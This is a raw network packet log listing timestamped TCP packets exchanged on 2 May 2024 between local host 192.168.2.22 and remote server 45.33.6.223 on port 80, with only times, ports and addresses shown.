May 2, 2024 08:27:02.553281069 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553297043 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553334951 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553339958 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553385019 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553410053 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553451061 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553544998 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553587914 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553594112 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553630114 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553714037 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553754091 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553786993 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553827047 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553852081 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553884029 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553913116 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553925037 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.553942919 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553975105 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.553988934 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554004908 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554018021 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554058075 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554090023 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554127932 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554153919 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554194927 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554220915 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554236889 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554266930 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554300070 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554341078 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554379940 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554420948 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554430962 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554471016 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.554548979 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.554606915 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.557102919 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.557151079 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.557173014 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.557209015 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.557210922 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.557241917 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.557282925 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.557323933 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.557332039 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.557370901 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.687832117 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687858105 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687871933 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687935114 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687948942 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687959909 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687962055 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.687973022 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687983990 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.687995911 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688009977 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688009977 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688009977 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688009977 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688023090 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688030005 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688035011 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688043118 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688046932 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688056946 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688075066 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688112020 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688123941 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688127041 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688148022 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688158035 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688177109 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688190937 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688203096 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688229084 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688230038 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688242912 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688242912 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688261986 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688261986 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688273907 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688280106 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688322067 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688332081 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688371897 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688390017 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688401937 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688414097 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688432932 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688445091 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688457012 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688478947 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688498020 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688510895 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688519001 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688532114 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688563108 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688566923 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688606024 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688632965 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688646078 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688673973 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688677073 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688693047 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688718081 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688756943 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688796997 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688815117 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688855886 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688859940 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688874006 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688899994 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688920021 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688949108 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.688960075 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.688977957 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689037085 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689049006 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689059973 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689069986 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689080000 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689080954 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689093113 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689099073 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689105988 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689117908 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689122915 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689141035 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689151049 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689169884 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689182997 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689189911 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689228058 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689254999 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689290047 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689291954 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689311981 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689332008 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689344883 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689359903 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689372063 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689399958 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689483881 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689496994 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689510107 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689522028 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689528942 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689536095 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689543009 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689553976 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689557076 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689567089 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689572096 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689579964 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689588070 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689591885 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689603090 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689605951 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689615965 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689629078 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689629078 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689640999 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689657927 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689672947 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689706087 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689713955 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689730883 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689738035 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689779043 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689817905 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689830065 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689846039 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689857006 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689862967 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689868927 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689877033 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689883947 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689891100 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689903975 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689908028 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689918041 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689923048 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689944983 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689955950 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.689985037 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.689997911 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690027952 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690058947 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690072060 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690083027 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690102100 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690112114 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690140009 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690176964 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690187931 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690229893 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690243006 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690267086 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690278053 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690284014 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690291882 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690299034 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690304995 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690313101 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690327883 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690339088 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690340996 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690377951 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690385103 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690398932 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690428019 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690433025 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690460920 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690470934 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690490007 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690498114 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690512896 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690543890 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690562010 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690602064 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690627098 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690642118 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690670013 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690685987 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690722942 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690735102 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690747976 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690759897 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690771103 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690779924 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690783978 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690793991 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690797091 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690808058 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690810919 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690820932 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690834045 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690835953 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690867901 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690867901 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690905094 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690911055 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690924883 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690956116 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.690975904 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.690989017 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691016912 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691046000 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691061974 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691071987 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691090107 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691090107 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691106081 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691112995 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691126108 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691127062 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691148996 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691158056 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691160917 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691181898 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691195011 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691210985 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691220045 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691257954 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691303968 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691332102 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691344023 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691344976 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691364050 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691375971 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691422939 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691437006 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691447973 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691459894 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691468000 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691472054 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691481113 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691484928 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691495895 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691497087 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691509962 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691509962 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691524029 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691529989 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691536903 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691550970 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691564083 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691576004 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691579103 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691592932 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691618919 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691625118 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691667080 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.691670895 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.691709042 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692382097 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692395926 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692415953 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692429066 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692440987 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692442894 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692471027 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692473888 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692512035 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692538023 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692576885 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692595005 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692632914 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692645073 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692657948 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692686081 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.692713022 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.692753077 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.823872089 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.823898077 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.823966980 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824022055 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824064016 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824094057 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824143887 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824172020 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824198008 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824218988 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824230909 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824279070 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824321985 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824331045 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824368954 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824398994 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824443102 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824470043 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824517012 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824542046 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824584007 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824611902 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824654102 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824656010 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824696064 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824712992 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824755907 CEST	49165	80	192.168.2.22	45.33.6.223
May 2, 2024 08:27:02.824760914 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824805021 CEST	80	49165	45.33.6.223	192.168.2.22
May 2, 2024 08:27:02.824811935 CEST	49165	80	192.168.2.22	45.33.6.223
